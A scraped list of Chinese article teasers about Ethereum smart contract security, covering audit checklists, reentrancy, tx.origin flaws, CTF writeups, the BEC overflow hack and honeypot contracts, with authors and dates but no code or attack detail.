1.8K0
Ethernaut闯关录(上)
以太坊智能合约审计 CheckList
在以太坊合约审计checkList中,我将以太坊合约审计中遇到的问题分为5大种,包括编码规范问题、设计缺陷问题、编码安全问题、编码设计问题、编码问题隐患。其中涵盖了超过29种会出现以太坊智能合约审计过程中遇到的问题。帮助智能合约的开发者和安全工作者快速入门智能合约安全。
Seebug漏洞平台
2018/12/13
1K0
重入攻击概述
以太坊智能合约中的函数通过private、internal、public、external等修饰词来限定合约内函数的作用域(内部调用或外部调用),而我们将要介绍的重入漏洞就存在于合约之间的交互过程,常见的合约之间的交互其实也是很多的,例如:向未知逻辑的合约发送Ether,调用外部合约中的函数等,在以上交互过程看似没有什么问题,但潜在的风险点就是外部合约可以接管控制流从而可以实现对合约中不期望的数据进行修改,迫使其执行一些非预期的操作等。
Al1ex
2021/03/21
1.1K0
以太坊智能合约安全开发建议
请求不可信的合约时可能会引入一些意外风险或错误。在调用外部合约时,外部合约或其依赖的其它合约中可能存在恶意代码。因此,每个外部合约的请求都应该被认为是有风险的。如必须请求外部合约,请参考本节中的建议以最大程度的减小风险。
Tiny熊
2020/12/29
1.2K0
Paradigm-CTF 代理合约漏洞
这是Paradigm公司开放的夺旗系列之金库,题目也是由Samczsun出的。前段时间刚学习了代理合约,这道题目就会分析代理合约的漏洞,以及如何利用该漏洞来攻破该合约。本文属于原创文章,转发请联系作者。
Tiny熊
2021/07/14
1K0
第四课 以太坊开发框架Truffle从入门到实战
Truffle是一个世界级的开发环境,测试框架,以太坊的资源管理通道,致力于让以太坊上的开发变得简单,Truffle有以下:
辉哥
2018/08/10
1.4K0
第四课 以太坊开发框架Truffle从入门到实战
safeSendLp逻辑设计安全分析
上周五一位好朋友在做合约审计时遇到一个有趣的函数safeSendLp,之所以说该函数有趣是因为感觉该函数存在问题,却又觉得该函数业务逻辑正常,遂对其进行简单调试分析~
Al1ex
2021/07/21
7410
safeSendLp逻辑设计安全分析
权限校验错误
tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址,在智能合约中使用此变量进行身份验证可能会使合约受到类似网络钓鱼的攻击。
Al1ex
2021/07/21
1.6K0
HCTF2018智能合约两则Writeup
这次比赛为了顺应潮流,HCTF出了3道智能合约的题目,其中1道是逆向,2道是智能合约的代码审计题目。
LoRexxar
2023/02/21
4010
HCTF2018智能合约两则Writeup
【区块链安全】技术小白如何做到让一行代码值64亿元?
2018年4月24日,又一件突发性事件引爆了币圈!刚刚发行了才两个月的“美链 Beauty Chain” (简称BEC)在受到黑客的攻击的影响下直接归零了!黑客使用的是以太坊ERC-20智能合约BatchOverFlow数据溢出的漏洞,向两个地址转出了数量巨大的BEC代币!黑客先是试探性地往Okex中转100万的BEC,发现成功转入卖出后,又分两次转入了一千万的BEC。发现两次都成功,黑客变得更加大胆,便转入了一亿枚BEC。但这1亿枚 BEC转入后,OKEx已经发现问题并停止了BEC的交易。按照转入记录,预计黑客已经卖出了最少 1100万枚BEC,折合昨日售价约一千八百多万人民币。
辉哥
2018/08/10
9370
【区块链安全】技术小白如何做到让一行代码值64亿元?
以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告
在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,我们把超过10个问题点归结为开发者容易忽略的问题隐患,其中包括“语法特性”、“数据私密性”、“数据可靠性”、“gas消耗优化”、“合约用户”、“日志记录”、“回调函数”、“Owner权限”、“用户鉴权”、 “条件竞争”等,统一归类为“以太坊智能合约编码隐患”。
Seebug漏洞平台
2018/12/11
6100
以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告
智能合约开发中13种最常见的漏洞
在智能合约开发过程中,确实存在多种类型的漏洞,这些漏洞可能导致资金损失、合约功能失效或被恶意利用。以下是智能合约开发中常见的漏洞类型:
终有链响
2024/07/29
7180
solidity代码功能模块
这个合约是一个librray,只有一个函数isContract,且被声明为internal view.internal 限制这个函数只能由import这个合约内部使用;view 声明这个函数不会改变状态
rectinajh
2022/05/20
6110
智能合约安全审计之路-拒绝服务漏洞
核心问题:智能合约中的拒绝服务是一个致命的漏洞,因为漏洞导致的拒绝服务一般为永久性的,无法恢复
字节脉搏实验室
2020/03/31
1.6K0
以太坊蜜罐智能合约分析
在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots。
Seebug漏洞平台
2018/07/12
1.2K0
相关推荐
智能合约:Ethernaut题解(四)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验